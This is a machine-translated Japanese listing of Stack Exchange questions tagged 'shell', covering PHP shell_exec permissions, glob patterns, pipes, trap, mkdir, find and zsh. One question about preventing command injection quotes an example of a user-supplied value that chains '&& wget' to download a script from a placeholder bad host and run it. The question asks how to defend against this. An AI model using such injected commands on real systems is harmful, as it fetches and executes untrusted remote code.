タグ付けされた質問 「shell」

シェルは、Unixのコマンドラインインターフェイスです。シェルにインタラクティブにコマンドを入力するか、スクリプトを記述してタスクを自動化できます。/ bin / shおよび最も互換性のあるシェル(ash、bash、ksh、zshなど)に適用される質問には、このタグを使用します。エラーのあるシェルスクリプトについては、ここに投稿する前にhttp://shellcheck.netで確認してください。


6
Linux Ubuntuでのphp shell_exec()パーミッション
Linuxサーバーを使用してphpアプリケーションを開発しています。私の問題は実行中ですshell_exec()いくつかのexeファイルを呼び出すようにしているのが機能しない(実際にはexeではなく、Linux実行可能ファイルの一種です) echo shell_exec("whoami"); デーモンを得た echo shell_exec("ls") ファイル名を取得しましたが、 echo shell_exec("php -v") 何もない、空白のページ echo shell_exec("php ....bla bla bla") 空白ページも。 terminal(user hu)で入力すると、これらすべてのコマンドが機能します。私は数時間グーグルを検索しました、人々は許可のためにそれを言います。Linuxの経験はありません。PHPでプログラムを実行するにはどうすればよいですか?
13 linux  shell  php  exec 

2
`..`ではなくドットファイルに展開されるシェルファイル名パターン?
最近、シェルパターンが予期せぬ方法で拡大したために、ちょっとした事故が起こりました。/rootディレクトリ内の多数のドットファイルの所有者を変更したかったので、 chown -R root .* 当然のことながら、.*に拡大し..ているが、災害のビットでした。 私はbashこの動作でいくつかのシェルオプションを調整することで変更できることを知っていますが、デフォルト設定では、ディレクトリ内のすべてのドットファイルに展開されますが、では.あり..ませんか?

4
パイプ、{リスト; }一部のプログラムでのみ機能する
このような予測不可能な動作については、パワーユーザーからの説明が必要です。 ps -eF | { head -n 1;grep worker; } UID PID PPID C SZ RSS PSR STIME TTY TIME CMD root 441 2 0 0 0 2 paź15 ? 00:00:00 [kworker/2:1H] すべてが大丈夫に見える ls -la / | { head -n 1;grep sbin; } からの出力のみを表示します head ...考えてみてstdout 2>&1もうまくいかない
13 shell  pipe 

3
コマンドオプションを使用してコマンドインジェクションを防ぐ方法
シミュレーターに渡すカスタムオプションをユーザーが指定できるようにする必要があるラッパーアプリケーションがあります。ただし、ユーザーがユーザーオプションを使用して他のコマンドを挿入しないようにします。これを達成する最良の方法は何ですか? 例えば。 ユーザーが提供するもの: -a -b アプリケーションの実行: mysim --preset_opt -a -b しかし、私はこれが起こることを望まない: ユーザーが提供するもの: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh アプリケーションの実行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 現在、ユーザーが提供したすべてのオプションを単一引用符で囲み、ユーザーが提供した単一引用符'を取り除くだけで、最後の例のコマンドが無害になることができると考えています: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注:mysimコマンドは、docker / lxcコンテナー内のシェルスクリプトの一部として実行されます。Ubuntuを実行しています。

2
Trapコマンドを使用してエラーをトリガーする方法
Ubuntu 12.04.2を使用しています。「トラップ」コマンドを使用してシェルスクリプトの異常またはエラーをキャプチャしようとしていますが、「エラー」終了を手動でトリガーしようとしています。 exit 1を試しましたが、「エラー」信号はトリガーされません。 #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func 「エラー」終了信号を手動でトリガーする方法がわからない場合


1
「efi-shell」用のブート可能なフラッシュを作成する方法
現在のIntelサーバーチップセットには、組み込みの「efi-shell」が含まれています。これは基本的に、いくつかの気の利いたUEFIブートオプションを操作するのに適したコマンドセットを持つ簡略化された「NIX」です。 また、Intelのファームウェアアップグレードツールの一部を実行するには「efi-shell」が必要な場合もあります。 悲しいことに、このボードはUEFIブートをサポートしていても、サーバーチップセットはありません。 efi-shellはhttp://www.sourceforge.net/projects/efi-shellからダウンロードできます。ただし、ブート可能なISOやその他の形式のブート可能なイメージは見つかりません。 ブート可能なフラッシュを作成しようとしましたが、unetbootin成功しませんでした。 RAIDカードでIntelファームウェアアップグレードを実行できるように、ブート可能なefi-shellのコピーを作成する方法についての考えはありますか?
13 shell  boot  uefi 

5
mkdirを使用して多数のディレクトリを作成する
を使用して多くのディレクトリを作成したいと思いますmkdir。各ディレクトリ名は、プレフィックス(文字列)とインデックス(整数)で構成されます。プレフィックスを「s」に、インデックスの範囲を1〜50にしたいとします。これは、次のタイトルのディレクトリを作成することを意味します。 s1、s2、...、 s49、s50 を使用してこれを自動的に行う方法はありmkdirますか?御時間ありがとうございます。
13 shell  directory 

5
findコマンドを使用してファイル名から(1)を削除する方法
最近、Mac OS 10.7(Lion)でXLDを使用して、すべてのFLACファイルを44.1 kHzの低いサンプリングレートと24ビットのビット深度に変換しました(iPhone / iPodはそれ以上をサポートしていないため)。 以前のすべてのファイルを上書きするようにXLDに指示しましたが、XLDは次の(1)ようなファイルの最後に some_song.m4a に some_song(1).m4a だから今、私(1)は変換したすべてのFLACファイルからそれを削除したい。 おそらく、プログラムやAppleScriptを使用してファイルの名前を変更することもできたはずですが、古い学校のコマンドラインを使用して学習したかったのです。 これfind . -name *\(1\).m4aにより、変換されたすべてのFLACファイルが取得されます。 次の私は、私が何かを知っている-execし、mvすべての見つかったファイルの名前を変更します。しかし、私が理解できないのは、元のファイル名を保持し、単に削除する方法(1)です。 修正したくないファイル名の部分を保存するために、グループ正規表現のキャプチャを行う必要があるのでしょうか?または、すべてを1行で実行することは不可能であり、シェルスクリプトを作成する必要があります(これはそれほど快適ではありませんが、試してみたいと思います)。 ヒントや提案は大歓迎です!ありがとう!

5
データファイルから特定の行数をランダムに描画します
私は次のようなデータリストを持っています 12345 23456 67891 -20000 200 600 20 ... このデータセット(ファイルの行)のサイズはであると仮定しますN。mこのデータファイルからランダムに線を引きたいです。したがって、出力は2つのファイルになります。1つはこれらmのデータ行を含むファイルで、もう1つはN-mデータ行を含みます。 Linuxコマンドを使用してそれを行う方法はありますか?

1
なぜ「| メイクファイルのtrueは、「||」と同じ効果があります。本当」
ファイルを削除する前にサービスを停止するメイクファイルがあります。サービスを停止できなかった場合、エラーで中断します。これは明らかに望ましくないので|| true、追加したいと思いましたが、見逃しました|。作ります: stop service foo | true rm /etc/init/foo.conf これがなぜ機能し、何が起こっているのかについて私は混乱しています。これtrueは、単なるキーワードではなくアプリケーションであることを意味していますか?彼らは同じですか?使用する正当な理由はあります| trueか?
13 shell  pipe 


3
[-t 1]は何をチェックしますか?
私はちょうどWindows上で起動するzshときに起動する方法を見つけましたbash https://www.howtogeek.com/258518/how-to-use-zsh-or-another-shell-in-windows-10/。 最後に次のコードを追加することをお勧めします.bashrc。 # Launch Zsh if [ -t 1 ]; then exec zsh fi どういう[ -t 1 ]意味ですか? それは本当ですか? 次に、これを行うことができますか? exec zsh
13 bash  shell  zsh  test 

2
シェルの有効な関数名の文字
拡張Unicode文字を使用すると、多くのユーザーにとって便利です(疑いの余地はありません)。 単純なシェル(ash(busybox)、dash)およびkshは次のように失敗します: tést() { echo 34; } tést しかし、bash、mksh、lksh、およびzshはそれを許可しているようです。 POSIXの有効な関数名はこのNamesの定義を使用することを認識しています。つまり、この正規表現: [a-zA-Z_][a-zA-Z0-9_]* ただし、最初のリンクでは次のようにも言われています。 実装では、関数名に他の文字を拡張として使用できます。 質問は次のとおりです。 これは受け入れられ、文書化されていますか? どこ? どのシェル用か(もしあれば)? 関連質問: シェル関数名に特殊文字を使用できますか? 関数名にメタ文字(>)を使用することに興味はありません。 「-」 を含むUpstartおよびbashの関数名演算子(減算「-」)が名前の一部であるべきだとは思わない。
13 bash  shell  zsh  function 

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.